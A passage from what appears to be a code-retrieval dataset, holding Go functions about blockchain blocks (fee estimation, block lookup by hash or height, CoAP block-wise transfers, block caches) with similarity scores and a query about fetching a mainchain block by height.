20.1\n\t\t\tinfo.Fees.Max = 40.1\n\t\t\tinfo.Fees.Slow = 1\n\t\t\tinfo.Fees.Med = 20\n\t\t\tinfo.Fees.Fast = 40\n\n\t\t\tif path == blockChainInfoPathFees {\n\t\t\t\t// Return just the fees portion\n\t\t\t\trender.JSON(w, r, info.Fees)\n\t\t\t} else {\n\t\t\t\t// Return the full info object\n\t\t\t\trender.JSON(w, r, info)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\n\t\tif count == 0.0 {\n\t\t\trender.Render(w, r, s.ErrInternalLog(fmt.Errorf(\"Did not get any fee blocks when collecting fees\")))\n\t\t\treturn\n\t\t}\n\n\t\tavgTxSize := txTotalSize / txTotalCount\n\n\t\tinfo.Fees.Avg = (info.Fees.Avg / count) / avgTxSize\n\t\tinfo.Fees.Min = (info.Fees.Min / count) / avgTxSize\n\t\tinfo.Fees.Max = (info.Fees.Max / count) / avgTxSize\n\n\t\t// Cap the fees\n\t\tif minMaxFee := config.GetFloat64(\"server.legacy.btc_min_fee_max\"); minMaxFee > 0 && info.Fees.Min > minMaxFee {\n\t\t\tinfo.Fees.Min = minMaxFee\n\t\t}\n\t\tif avgMaxFee := config.GetFloat64(\"server.legacy.btc_avg_fee_max\"); avgMaxFee > 0 && info.Fees.Avg > avgMaxFee {\n\t\t\tinfo.Fees.Avg = avgMaxFee\n\t\t}\n\t\tif maxMaxFee := config.GetFloat64(\"server.legacy.btc_max_fee_max\"); maxMaxFee > 0 && info.Fees.Max > maxMaxFee {\n\t\t\tinfo.Fees.Max = maxMaxFee\n\t\t}\n\n\t\t// The fast fee will be the average of the 10th percentile of the last 3 blocks\n\t\tinfo.Fees.Fast, err = s.blockChainStore.AverageBlockDataFieldByHeight(btc.Symbol, \"data.fee_vsize_p10\", true, info.Blocks-4, blocc.HeightUnknown)\n\t\tif err == blocc.ErrNotFound {\n\t\t\tinfo.Fees.Fast = info.Fees.Avg\n\t\t} else if err != nil {\n\t\t\trender.Render(w, r, s.ErrInternalLog(fmt.Errorf(\"Error AverageBlockDataFieldByHeight: %v\", err)))\n\t\t\treturn\n\t\t}\n\n\t\t// The slow fee will be the 10th percentile of the 10th percentile of the last 144 blocks\n\t\tinfo.Fees.Slow, err = s.blockChainStore.PercentileBlockDataFieldByHeight(btc.Symbol, \"data.fee_vsize_p10\", 10.0, true, info.Blocks-145, blocc.HeightUnknown)\n\t\tif err == blocc.ErrNotFound {\n\t\t\tinfo.Fees.Slow = info.Fees.Avg\n\t\t} else if err != nil {\n\t\t\trender.Render(w, r, s.ErrInternalLog(fmt.Errorf(\"Error PercentileBlockDataFieldByHeight: %v\", err)))\n\t\t\treturn\n\t\t} else {\n\t\t\t// If the fast fee is somehow better than this fee, use it instead, and then increase the fast fee by a couple sats\n\t\t\t// This should basically never happen\n\t\t\tif info.Fees.Fast < info.Fees.Slow {\n\t\t\t\tinfo.Fees.Slow = info.Fees.Fast\n\t\t\t}\n\t\t}\n\n\t\t// Now calculate the medium fee as 2/3 the way to the fast fee from the slow fee\n\t\tinfo.Fees.Med = (((info.Fees.Fast - info.Fees.Slow) / 3) * 2) + info.Fees.Slow\n\n\t\t// Make extra sure the fees didn't end up the same or in the wrong order if there are rounding errors\n\t\tif info.Fees.Med <= info.Fees.Slow {\n\t\t\tinfo.Fees.Med += (info.Fees.Slow - info.Fees.Med) + 1\n\t\t}\n\t\tif info.Fees.Fast <= info.Fees.Med {\n\t\t\tinfo.Fees.Fast += (info.Fees.Med - info.Fees.Fast) + 1\n\t\t}\n\n\t\t// Quick and dirty hack to provide the average fee as the minimum one since this is what the drop bit app uses\n\t\tif config.GetBool(\"server.legacy.btc_avg_fee_as_min\") {\n\t\t\tinfo.Fees.Min = info.Fees.Avg\n\t\t}\n\n\t\t// This will substitute the p10 fees for the average and min fees\n\t\tif config.GetBool(\"server.legacy.btc_use_p10_fee\") {\n\t\t\tinfo.Fees.Min = info.Fees.Fast\n\t\t\tinfo.Fees.Avg = info.Fees.Fast\n\t\t}\n\n\t\tif path == blockChainInfoPathFees {\n\t\t\t// Return just the fees portion\n\t\t\trender.JSON(w, r, info.Fees)\n\t\t} else {\n\t\t\t// Return the full info object\n\t\t\trender.JSON(w, r, info)\n\n\t\t}\n\t}\n\n}", "func (f *Builder) GetBlock(ctx context.Context, c cid.Cid) (*types.BlockHeader, error) {\n\tvar block types.BlockHeader\n\tif err := f.cstore.Get(ctx, c, &block); err != nil {\n\t\treturn nil, err\n\t}\n\treturn &block, nil\n}", "func (env *Env) CheckBlock(pdu *libcoap.Pdu) (bool, *string, *libcoap.Block) {\n blockValue, err := pdu.GetOptionIntegerValue(libcoap.OptionBlock2)\n if err != nil {\n log.WithError(err).Warn(\"Get block2 option value failed.\")\n return false, nil, nil\n\t}\n block := libcoap.IntToBlock(int(blockValue))\n\n size2Value, err := pdu.GetOptionIntegerValue(libcoap.OptionSize2)\n\tif err != nil {\n\t\tlog.WithError(err).Warn(\"Get size 2 option value failed.\")\n return false, nil, nil\n }\n\n eTag := pdu.GetOptionOpaqueValue(libcoap.OptionEtag)\n\n if block != nil {\n isMoreBlock := true\n blockKey := eTag + string(pdu.Token)\n // If block.M = 1, block is more block. If block.M = 0, block is last block\n if block.M == libcoap.MORE_BLOCK {\n log.Debugf(\"Response block is comming (eTag=%+v, block=%+v, size2=%+v) for request (token=%+v), waiting for the next block.\", eTag, block.ToString(), size2Value, pdu.Token)\n if block.NUM == 0 {\n env.responseBlocks[blockKey] = pdu\n initialBlockSize := env.InitialRequestBlockSize()\n secondBlockSize := env.SecondRequestBlockSize()\n // Check what block_size is used for block2 option\n // If the initialBlockSize is set: client will always request with block2 option\n // If the initialBlockSize is not set and the secondBlockSize is set: if the secondBlockSize is greater than the\n // recommended block size -> use the recommended block size, reversely, use the configured block size\n // If both initialBlockSize and secondBlockSize are not set -> use the recommended block size\n if initialBlockSize == nil && secondBlockSize != nil {\n if *secondBlockSize > block.SZX {\n log.Warn(\"Second block size must not greater thans block size received from server\")\n block.NUM += 1\n } else {\n block.NUM = 1 << uint(block.SZX - *secondBlockSize)\n block.SZX = *secondBlockSize\n }\n } else {\n block.NUM += 1\n }\n } else {\n if data, ok := env.responseBlocks[blockKey]; ok {\n env.responseBlocks[blockKey].Data = append(data.Data, pdu.Data...)\n block.NUM += 1\n } else {\n log.Warnf(\"The block version is not unknown. Re-request from the first block\")\n delete(env.responseBlocks, blockKey)\n block.NUM = 0\n }\n }\n block.M = 0\n return isMoreBlock, &eTag, block\n } else if block.M == libcoap.LAST_BLOCK {\n log.Debugf(\"Response block is comming (eTag=%+v, block=%+v, size2=%+v), this is the last block.\", eTag, block.ToString(), size2Value)\n isMoreBlock = false\n if data, ok := env.responseBlocks[blockKey]; ok {\n env.responseBlocks[blockKey].Data = append(data.Data, pdu.Data...)\n } else if block.NUM > 0 {\n log.Warnf(\"The block version is not unknown. Re-request from the first block\")\n delete(env.responseBlocks, blockKey)\n block.NUM = 0\n isMoreBlock = true\n }\n return isMoreBlock, &eTag, block\n }\n }\n return false, nil, nil\n}", "func (b *index) GetInfo(blockID string) (*Info, error) {\n\te, err := b.findEntry(blockID)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif e == nil {\n\t\treturn nil, nil\n\t}\n\n\ti, err := b.entryToInfo(blockID, e)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &i, err\n}", "func Get() (uint64, blockdigest.Digest, uint16, uint64) {\n\n\tglobalData.RLock()\n\tdefer globalData.RUnlock()\n\n\treturn globalData.height, globalData.previousBlock, globalData.previousVersion, globalData.previousTimestamp\n}", "func (api *APIClient) GetBlockByRepoName(repoPieces RepoPieces) (Block, error) {\n\tu, err := url.Parse(fmt.Sprintf(\"%s/api/v1/blocks\", api.baseURL))\n\tif err != nil {\n\t\treturn Block{}, errors.New(\"unable to parse Learn remote\")\n\t}\n\tv := url.Values{}\n\tv.Set(\"repo_name\", repoPieces.RepoName)\n\tv.Set(\"org\", repoPieces.Org)\n\tv.Set(\"origin\", repoPieces.Origin)\n\tu.RawQuery = v.Encode()\n\n\treq, err := http.NewRequest(\"GET\", u.String(), nil)\n\tif err != nil {\n\t\treturn Block{}, err\n\t}\n\n\treq.Header.Set(\"Content-Type\", \"application/json\")\n\treq.Header.Set(\"Source\", \"gLearn_cli\")\n\treq.Header.Set(\"Authorization\", fmt.Sprintf(\"Bearer %s\", api.Credentials.token))\n\n\tres, err := api.client.Do(req)\n\tif err != nil {\n\t\treturn Block{}, err\n\t}\n\tdefer res.Body.Close()\n\n\tif res.StatusCode != http.StatusOK {\n\t\treturn Block{}, fmt.Errorf(\"Error: response status: %d\", res.StatusCode)\n\t}\n\n\tvar blockResp blockResponse\n\terr = json.NewDecoder(res.Body).Decode(&blockResp)\n\tif err != nil {\n\t\treturn Block{}, err\n\t}\n\n\tif len(blockResp.Blocks) == 1 {\n\t\treturn blockResp.Blocks[0], nil\n\t}\n\treturn Block{}, nil\n}", "func (sys *System) GetProfileBlock(ctx *Context) (string, error) {\n\tLog(INFO, ctx, \"System.GetProfileBlock\")\n\tprofile := pprof.Lookup(\"block\")\n\tif profile == nil {\n\t\terr := fmt.Errorf(\"No block profile\")\n\t\tLog(ERROR, ctx, \"System.GetProfileBlock\", \"error\", err, \"when\", \"lookup\")\n\t\treturn \"\", err\n\t}\n\tbuf := new(bytes.Buffer)\n\terr := profile.WriteTo(buf, 0)\n\tif err != nil {\n\t\tLog(ERROR, ctx, \"System.GetProfileBlock\", \"error\", err, \"when\", \"writ\")\n\t\treturn \"\", err\n\t}\n\n\treturn buf.String(), nil\n}", "func (rdb *RatesStorage) GetLastResolvedBlockInfo(reserveAddr ethereum.Address) (lbdCommon.BlockInfo, error) {\n\tconst (\n\t\tselectStmt = `SELECT time,block FROM token_rates WHERE time=\n\t\t(SELECT MAX(time) FROM token_rates) AND reserve_id=(SELECT id FROM reserves WHERE reserves.address=$1) LIMIT 1`\n\t)\n\tvar (\n\t\trateTableResult = lbdCommon.BlockInfo{}\n\t\tlogger = rdb.sugar.With(\"func\", caller.GetCurrentFunctionName())\n\t)\n\n\tlogger.Debugw(\"Querying last resolved block from rates table...\", \"query\", selectStmt)\n\tif err := rdb.db.Get(&rateTableResult, selectStmt, reserveAddr.Hex()); err != nil {\n\t\treturn rateTableResult, err\n\t}\n\trateTableResult.Timestamp = rateTableResult.Timestamp.UTC()\n\n\treturn rateTableResult, nil\n}", "func (s *Server) getBlockByPartialId(ctx context.Context, bli *rtypes.PartialBlockIdentifier) (*chainhash.Hash, int64, *wire.MsgBlock, error) {\n\tvar bh *chainhash.Hash\n\tvar err error\n\n\tswitch {\n\tcase bli == nil || (bli.Hash == nil && bli.Index == nil):\n\t\t// Neither hash nor index were specified, so fetch current\n\t\t// block.\n\t\terr := s.db.View(ctx, func(dbtx backenddb.ReadTx) error {\n\t\t\tbhh, _, err := s.db.LastProcessedBlock(dbtx)\n\t\t\tif err == nil {\n\t\t\t\tbh = &bhh\n\t\t\t}\n\t\t\treturn err\n\t\t})\n\t\tif err != nil {\n\t\t\treturn nil, 0, nil, err\n\t\t}\n\n\tcase bli.Hash != nil:\n\t\tbh = new(chainhash.Hash)\n\t\tif err := chainhash.Decode(bh, *bli.Hash); err != nil {\n\t\t\treturn nil, 0, nil, types.ErrInvalidChainHash\n\t\t}\n\n\tcase bli.Index != nil:\n\t\tif bh, err = s.getBlockHash(ctx, *bli.Index); err != nil {\n\t\t\treturn nil, 0, nil, err\n\t\t}\n\tdefault:\n\t\t// This should never happen unless the spec changed to allow\n\t\t// some other form of block querying.\n\t\treturn nil, 0, nil, types.ErrInvalidArgument\n\t}\n\n\tb, err := s.getBlock(ctx, bh)\n\tif err != nil {\n\t\treturn nil, 0, nil, err\n\t}\n\n\treturn bh, int64(b.Header.Height), b, nil\n}", "func Check(h string, service string) []detect.TextBlock {\n\tcacheData := read()\n\n\tfor _, data := range cacheData {\n\t\tif h == data.Hash && data.Service == service {\n\t\t\tlog.Info(\"Image found in cache, skipping API requests.\")\n\t\t\treturn data.Blocks\n\t\t}\n\t}\n\n\tlog.Info(\"Image not found in cache, performing API requests.\")\n\treturn nil\n}", "func (c *Client) GetCurrentBlock() (*rpctypes.ResultBlock, error) {\n\treturn c.GetBlockAt(0)\n}", "func GetBlockTime(chain uint64) uint64 {\n\tvar pStat BaseInfo\n\tgetDataFormDB(chain, dbStat{}, []byte{StatBaseInfo}, &pStat)\n\treturn pStat.Time\n}", "func (a *API) fetchLatestBlock() (*Block, error) {\n\tb := &Block{}\n\tif err := net.GetJSON(\"https://blockchain.info/latestblock\", b); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn b, nil\n}", "func (bp RPCBlockProvider) GetBlock(index int) SignedBlockData {\r\n\tvar block SignedBlockData\r\n\terr := bp.Client.Call(\"BlockPropagationHandler.GetBlock\", index, &block)\r\n\tif err != nil {\r\n\t\tlog.Print(err)\r\n\t}\r\n\treturn block\r\n}", "func (s *Server) getBlockHash(ctx context.Context, height int64) (*chainhash.Hash, error) {\n\tvar bh chainhash.Hash\n\terr := s.db.View(ctx, func(dbtx backenddb.ReadTx) error {\n\t\tvar err error\n\t\tbh, err = s.db.ProcessedBlockHash(dbtx, height)\n\t\treturn err\n\t})\n\n\tswitch {\n\tcase errors.Is(err, backenddb.ErrBlockHeightNotFound):\n\t\treturn nil, types.ErrBlockIndexAfterTip\n\tcase err != nil:\n\t\treturn nil, err\n\tdefault:\n\t\treturn &bh, nil\n\t}\n}", "func (d *DcrwalletCSDriver) GetBlock(ctx context.Context, bh *chainhash.Hash) (*wire.MsgBlock, error) {\ngetblock:\n\tfor {\n\t\t// Keep trying to get the network backend until the context is\n\t\t// canceled.\n\t\tn, err := d.w.NetworkBackend()\n\t\tif errors.Is(err, errors.NoPeers) {\n\t\t\tselect {\n\t\t\tcase <-ctx.Done():\n\t\t\t\treturn nil, ctx.Err()\n\t\t\tcase <-time.After(time.Second):\n\t\t\t\tcontinue getblock\n\t\t\t}\n\t\t}\n\n\t\tblocks, err := n.Blocks(ctx, []*chainhash.Hash{bh})\n\t\tif len(blocks) > 0 && err == nil {\n\t\t\treturn blocks[0], nil\n\t\t}\n\n\t\t// The syncer might have failed due to any number of reasons,\n\t\t// but it's likely it will come back online shortly. So wait\n\t\t// until we can try again.\n\t\tselect {\n\t\tcase <-ctx.Done():\n\t\t\treturn nil, ctx.Err()\n\t\tcase <-time.After(time.Second):\n\t\t}\n\t}\n}", "func getBlock(file *os.File, pr int64, bm int64) dataBlock {\n\tblock := dataBlock{}\n\tsize := int64(binary.Size(block))\n\tindex := pr + bm*size\n\tfile.Seek(index, 0)\n\t//Se obtiene la data del archivo binarios\n\tdata := readNextBytes(file, size)\n\tbuffer := bytes.NewBuffer(data)\n\t//Se asigna al mbr declarado para leer la informacion de ese disco\n\terr := binary.Read(buffer, binary.BigEndian, &block)\n\tif err != nil {\n\t\tlog.Fatal(\"binary.Read failed\", err)\n\t}\n\treturn block\n}", "func (rt *recvTxOut) Block() *BlockDetails {\n\treturn rt.block\n}", "func (mgr *blockfileMgr) loadCurrentInfo() (*checkpointInfo, error) {\n\tvar b []byte\n\tvar err error\n\tif b, err = mgr.db.Get(blkMgrInfoKey); b == nil || err != nil {\n\t\treturn nil, err\n\t}\n\ti := &checkpointInfo{}\n\tif err = i.unmarshal(b); err != nil {\n\t\treturn nil, err\n\t}\n\tlogger.Debugf(\"loaded checkpointInfo:%s\", i)\n\treturn i, nil\n}", "func (c *SyscallService) QueryBlock(ctx context.Context, in *pb.QueryBlockRequest) (*pb.QueryBlockResponse, error) {\n\tnctx, ok := c.ctxmgr.Context(in.GetHeader().Ctxid)\n\tif !ok {\n\t\treturn nil, fmt.Errorf(\"bad ctx id:%d\", in.Header.Ctxid)\n\t}\n\n\trawBlockid, err := hex.DecodeString(in.Blockid)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tblock, err := nctx.Cache.QueryBlock(rawBlockid)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\ttxids := []string{}\n\tfor _, t := range block.Transactions {\n\t\ttxids = append(txids, hex.EncodeToString(t.Txid))\n\t}\n\n\tblocksdk := &pb.Block{\n\t\tBlockid: hex.EncodeToString(block.Blockid),\n\t\tPreHash: block.PreHash,\n\t\tProposer: block.Proposer,\n\t\tSign: block.Sign,\n\t\tPubkey: block.Pubkey,\n\t\tHeight: block.Height,\n\t\tTxids: txids,\n\t\tTxCount: block.TxCount,\n\t\tInTrunk: block.InTrunk,\n\t\tNextHash: block.NextHash,\n\t}\n\n\treturn &pb.QueryBlockResponse{\n\t\tBlock: blocksdk,\n\t}, nil\n}", "func (t T) Block() uint32 { return t.block }", "func (b *BlockDAG) block(id models.BlockID) (block *blockdag.Block, exists bool) {\n\tif b.evictionState.IsRootBlock(id) {\n\t\treturn blockdag.NewRootBlock(id, b.slotTimeProviderFunc()), true\n\t}\n\n\tstorage := b.memStorage.Get(id.SlotIndex, false)\n\tif storage == nil {\n\t\treturn nil, false\n\t}\n\n\treturn storage.Get(id)\n}", "func (bc *Blockchain) GetBlock(hash []byte) (*Block, error) {\n\t// TODO(student)\n\treturn nil, nil\n}", "func AskForBlock(height int32, hash string) {\n\t//TODO -> TEST: Update this function to recursively ask\n\t// for all the missing predesessor blocks instead of only the parent block.\n\tPeers.Rebalance()\n\n\tfor key, _ := range Peers.Copy() {\n\t\tresp, err := http.Get(key + \"/block/\" + string(height) + \"/\" + hash)\n\t\tif err != nil {\n\t\t\tprintln(err)\n\t\t\tos.Exit(1)\n\t\t}\n\t\tif resp.StatusCode == 200 {\n\t\t\trespData, erro := ioutil.ReadAll(resp.Body)\n\t\t\tif erro != nil {\n\t\t\t\tprintln(err)\n\t\t\t\tos.Exit(1)\n\t\t\t}\n\t\t\trespBlc := p2.Block{}\n\t\t\trespBlc.DecodeFromJson(string(respData))\n\t\t\tif !SBC.CheckParentHash(respBlc) {\n\t\t\t\tAskForBlock(respBlc.GetHeight()-1, respBlc.GetParentHash())\n\t\t\t}\n\t\t\tSBC.Insert(respBlc)\n\t\t\tbreak\n\t\t}\n\t}\n\n}", "func (bh *BlockHolder) GetBlock() *protos.Block2 {\n\tserBlock := protos.NewSerBlock2(bh.blockBytes)\n\tblock, err := serBlock.ToBlock2()\n\tif err != nil {\n\t\tpanic(fmt.Errorf(\"Problem in deserialzing block: %s\", err))\n\t}\n\treturn block\n}", "func Fetch(ctx context.Context, dbConn *db.DB, contractAddress bitcoin.RawAddress,\r\n\tassetCode *bitcoin.Hash20, address bitcoin.RawAddress) (*state.Holding, error) {\r\n\r\n\tcacheLock.Lock()\r\n\tdefer cacheLock.Unlock()\r\n\r\n\tif cache == nil {\r\n\t\tcache = make(map[bitcoin.Hash20]*map[bitcoin.Hash20]*map[bitcoin.Hash20]*cacheUpdate)\r\n\t}\r\n\tcontractHash, err := contractAddress.Hash()\r\n\tif err != nil {\r\n\t\treturn nil, errors.Wrap(err, \"contract hash\")\r\n\t}\r\n\tcontract, exists := cache[*contractHash]\r\n\tif !exists {\r\n\t\tnc := make(map[bitcoin.Hash20]*map[bitcoin.Hash20]*cacheUpdate)\r\n\t\tcache[*contractHash] = &nc\r\n\t\tcontract = &nc\r\n\t}\r\n\tasset, exists := (*contract)[*assetCode]\r\n\tif !exists {\r\n\t\tna := make(map[bitcoin.Hash20]*cacheUpdate)\r\n\t\t(*contract)[*assetCode] = &na\r\n\t\tasset = &na\r\n\t}\r\n\taddressHash, err := address.Hash()\r\n\tif err != nil {\r\n\t\treturn nil, err\r\n\t}\r\n\tcu, exists := (*asset)[*addressHash]\r\n\tif exists {\r\n\t\t// Copy so the object in cache will not be unintentionally modified (by reference)\r\n\t\t// We don't want it to be modified unless Save is called.\r\n\t\tcu.lock.Lock()\r\n\t\tdefer cu.lock.Unlock()\r\n\t\treturn copyHolding(cu.h), nil\r\n\t}\r\n\r\n\tkey := buildStoragePath(contractHash, assetCode, addressHash)\r\n\r\n\tb, err := dbConn.Fetch(ctx, key)\r\n\tif err != nil {\r\n\t\tif err == db.ErrNotFound {\r\n\t\t\treturn nil, ErrNotFound\r\n\t\t}\r\n\r\n\t\treturn nil, errors.Wrap(err, \"Failed to fetch holding\")\r\n\t}\r\n\r\n\t// Prepare the asset object\r\n\treadResult, err := deserializeHolding(bytes.NewReader(b))\r\n\tif err != nil {\r\n\t\treturn nil, errors.Wrap(err, \"Failed to deserialize holding\")\r\n\t}\r\n\r\n\t(*asset)[*addressHash] = &cacheUpdate{h: readResult, modified: false}\r\n\r\n\treturn copyHolding(readResult), nil\r\n}", "func NewBlockCache(dbPath string, chainName string, startHeight int, syncFromHeight int) *BlockCache {\n\tc := &BlockCache{}\n\tc.firstBlock = startHeight\n\tc.nextBlock = startHeight\n\tc.lengthsName, c.blocksName = dbFileNames(dbPath, chainName)\n\tvar err error\n\tif err := os.MkdirAll(filepath.Join(dbPath, chainName), 0755); err != nil {\n\t\tLog.Fatal(\"mkdir \", dbPath, \" failed: \", err)\n\t}\n\tc.blocksFile, err = os.OpenFile(c.blocksName, os.O_CREATE|os.O_RDWR|os.O_APPEND, 0644)\n\tif err != nil {\n\t\tLog.Fatal(\"open \", c.blocksName, \" failed: \", err)\n\t}\n\tc.lengthsFile, err = os.OpenFile(c.lengthsName, os.O_CREATE|os.O_RDWR|os.O_APPEND, 0644)\n\tif err != nil {\n\t\tLog.Fatal(\"open \", c.lengthsName, \" failed: \", err)\n\t}\n\tlengths, err := ioutil.ReadFile(c.lengthsName)\n\tif err != nil {\n\t\tLog.Fatal(\"read \", c.lengthsName, \" failed: \", err)\n\t}\n\t// 4 bytes per lengths[] value (block length)\n\tif syncFromHeight >= 0 {\n\t\tif syncFromHeight < startHeight {\n\t\t\tsyncFromHeight = startHeight\n\t\t}\n\t\tif (syncFromHeight-startHeight)*4 < len(lengths) {\n\t\t\t// discard the entries at and beyond (newer than) the specified height\n\t\t\tlengths = lengths[:(syncFromHeight-startHeight)*4]\n\t\t}\n\t}\n\n\t// The last entry in starts[] is where to write the next block.\n\tvar offset int64\n\tc.starts = nil\n\tc.starts = append(c.starts, 0)\n\tnBlocks := len(lengths) / 4\n\tLog.Info(\"Reading \", nBlocks, \" blocks (since Sapling activation) from disk cache ...\")\n\tfor i := 0; i < nBlocks; i++ {\n\t\tif len(lengths[:4]) < 4 {\n\t\t\tLog.Warning(\"lengths file has a partial entry\")\n\t\t\tc.recoverFromCorruption(c.nextBlock)\n\t\t\tbreak\n\t\t}\n\t\tlength := binary.LittleEndian.Uint32(lengths[i*4 : (i+1)*4])\n\t\tif length < 74 || length > 4*1000*1000 {\n\t\t\tLog.Warning(\"lengths file has impossible value \", length)\n\t\t\tc.recoverFromCorruption(c.nextBlock)\n\t\t\tbreak\n\t\t}\n\t\toffset += int64(length) + 8\n\t\tc.starts = append(c.starts, offset)\n\t\t// Check for corruption.\n\t\tblock := c.readBlock(c.nextBlock)\n\t\tif block == nil {\n\t\t\tLog.Warning(\"error reading block\")\n\t\t\tc.recoverFromCorruption(c.nextBlock)\n\t\t\tbreak\n\t\t}\n\t\tc.nextBlock++\n\t}\n\tc.setDbFiles(c.nextBlock)\n\tLog.Info(\"Done reading \", c.nextBlock-c.firstBlock, \" blocks from disk cache\")\n\treturn c\n}", "func (l *Ledger) QueryBlock(blockid []byte) (*pb.InternalBlock, error) {\n\tblkInCache, exist := l.blockCache.Get(string(blockid))\n\tif exist {\n\t\tl.xlog.Debug(\"hit queryblock cache\", \"blkid\", utils.F(blockid))\n\t\treturn blkInCache.(*pb.InternalBlock), nil\n\t}\n\tblk, err := l.queryBlock(blockid, true)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tl.blockCache.Add(string(blockid), blk)\n\treturn blk, nil\n}", "func (a API) GetBlockChainInfo(cmd *None) (e error) {\n\tRPCHandlers[\"getblockchaininfo\"].Call <-API{a.Ch, cmd, nil}\n\treturn\n}" ]
[ "0.72391343", "0.71786505", "0.69215024", "0.68150514", "0.6794233", "0.6659732", "0.6650571", "0.6641638", "0.6635547", "0.6619689", "0.65339595", "0.6444369", "0.63869846", "0.63625735", "0.6355086", "0.6317724", "0.629948", "0.6278502", "0.6261923", "0.62254", "0.6221095", "0.6214174", "0.6204996", "0.6201947", "0.6189849", "0.6187282", "0.6182024", "0.6168117", "0.6125032", "0.6117981", "0.610948", "0.6103564", "0.6100416", "0.60525775", "0.60520226", "0.60310984", "0.60098463", "0.6007025", "0.599576", "0.5976915", "0.5975034", "0.5972297", "0.59708315", "0.59652656", "0.59649545", "0.5951632", "0.5941101", "0.59410316", "0.5937759", "0.5919545", "0.59097296", "0.590268", "0.5901111", "0.5886733", "0.58842343", "0.5883391", "0.58760864", "0.587553", "0.5867515", "0.5859782", "0.5853583", "0.5849991", "0.5847251", "0.58394504", "0.58390945", "0.5833046", "0.58179337", "0.5806524", "0.5805489", "0.57978886", "0.5792374", "0.57890207", "0.57836485", "0.5781667", "0.5775398", "0.5765994", "0.5765712", "0.57609797", "0.5756689", "0.5748501", "0.57436097", "0.57305735", "0.57266015", "0.5711762", "0.5707565", "0.5704597", "0.570303", "0.57022923", "0.56994617", "0.5693824", "0.5667104", "0.56663483", "0.56608844", "0.5654166", "0.5654118", "0.56539136", "0.56426233", "0.56391895", "0.5633655", "0.5611269" ]
0.571269
83
Get the mainchain block at the given height, checking the cache first.
func (dcr *DCRBackend) getMainchainDcrBlock(height uint32) (*dcrBlock, error) { cachedBlock, found := dcr.blockCache.atHeight(height) if found { return cachedBlock, nil } hash, err := dcr.node.GetBlockHash(int64(height)) if err != nil { // Likely not mined yet. Not an error. return nil, nil } return dcr.getDcrBlock(hash) }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (c *BlockCache) Get(height int) *walletrpc.CompactBlock {\n\tc.mutex.RLock()\n\tdefer c.mutex.RUnlock()\n\n\tif height < c.firstBlock || height >= c.nextBlock {\n\t\treturn nil\n\t}\n\tblock := c.readBlock(height)\n\tif block == nil {\n\t\tgo func() {\n\t\t\t// We hold only the read lock, need the exclusive lock.\n\t\t\tc.mutex.Lock()\n\t\t\tc.recoverFromCorruption(height - 10000)\n\t\t\tc.mutex.Unlock()\n\t\t}()\n\t\treturn nil\n\t}\n\treturn block\n}", "func GetBlock(cache *BlockCache, height int) (*walletrpc.CompactBlock, error) {\n\t// First, check the cache to see if we have the block\n\tblock := cache.Get(height)\n\tif block != nil {\n\t\treturn block, nil\n\t}\n\n\t// Not in the cache, ask zcashd\n\tblock, err := getBlockFromRPC(height)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif block == nil {\n\t\t// Block height is too large\n\t\treturn nil, errors.New(\"block requested is newer than latest block\")\n\t}\n\treturn block, nil\n}", "func (g *Geth) GetBlockAtHeight(height uint64) (WrkChainBlockHeader, error) {\n\n\tqueryUrl := viper.GetString(types.FlagWrkchainRpc)\n\n\tatHeight := \"latest\"\n\n\tif height > 0 {\n\t\tatHeight = \"0x\" + strconv.FormatUint(height, 16)\n\t}\n\n\tvar jsonStr = []byte(`{\"jsonrpc\":\"2.0\",\"method\":\"eth_getBlockByNumber\",\"params\":[\"` + atHeight + `\",false],\"id\":1}`)\n\n\tresp, err := http.Post(queryUrl, \"application/json\", bytes.NewBuffer(jsonStr))\n\tif err != nil {\n\t\treturn WrkChainBlockHeader{}, err\n\t}\n\tdefer resp.Body.Close()\n\tbody, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn WrkChainBlockHeader{}, err\n\t}\n\n\tvar res GethBlockHeaderResult\n\terr = json.Unmarshal(body, &res)\n\tif err != nil {\n\t\treturn WrkChainBlockHeader{}, err\n\t}\n\n\theader := res.Result\n\tcleanedHeight := strings.Replace(header.Number, \"0x\", \"\", -1)\n\tblockNumber, err := strconv.ParseUint(cleanedHeight, 16, 64)\n\n\tif err != nil {\n\t\treturn WrkChainBlockHeader{}, err\n\t}\n\n\tblockHash := header.Hash\n\tparentHash := \"\"\n\thash1 := \"\"\n\thash2 := \"\"\n\thash3 := \"\"\n\tblockHeight := blockNumber\n\n\tif height == 0 {\n\t\tg.lastHeight = blockNumber\n\t}\n\n\tif viper.GetBool(types.FlagParentHash) {\n\t\tparentHash = header.ParentHash\n\t}\n\n\thash1Ref := viper.GetString(types.FlagHash1)\n\thash2Ref := viper.GetString(types.FlagHash2)\n\thash3Ref := viper.GetString(types.FlagHash3)\n\n\tif len(hash1Ref) > 0 {\n\t\thash1 = g.getHash(header, hash1Ref)\n\t}\n\n\tif len(hash2Ref) > 0 {\n\t\thash2 = g.getHash(header, hash2Ref)\n\t}\n\n\tif len(hash3Ref) > 0 {\n\t\thash3 = g.getHash(header, hash3Ref)\n\t}\n\n\twrkchainBlock := NewWrkChainBlockHeader(blockHeight, blockHash, parentHash, hash1, hash2, hash3)\n\n\treturn wrkchainBlock, nil\n}", "func (blockchain *BlockChain) Get(height int32) ([]block1.Block, bool) {\n\tif height <= blockchain.Length && height > 0 {\n\t\t//_, ok := blockchain.Chain[height]\n\t\t//fmt.Println(\"OK ? :\", ok /*, \" : \", val*/)\n\t\treturn blockchain.Chain[height], true\n\t}\n\treturn nil, false\n}", "func (sbc *SyncBlockChain) Get(Height int32) []Block {\n\tsbc.Mux.Lock()\n\tdefer sbc.Mux.Unlock()\n\tif val, ok := sbc.BC.Chain[Height]; ok {\n\t\treturn val\n\t}\n\treturn nil\n}", "func (blockChain *BlockChain) Get(height int32) []Block {\n\treturn blockChain.Chain[height]\n}", "func (s *Server) getBlockByHeight(ctx context.Context, height int64) (*chainhash.Hash, *wire.MsgBlock, error) {\n\tvar bh *chainhash.Hash\n\tvar err error\n\tif bh, err = s.getBlockHash(ctx, 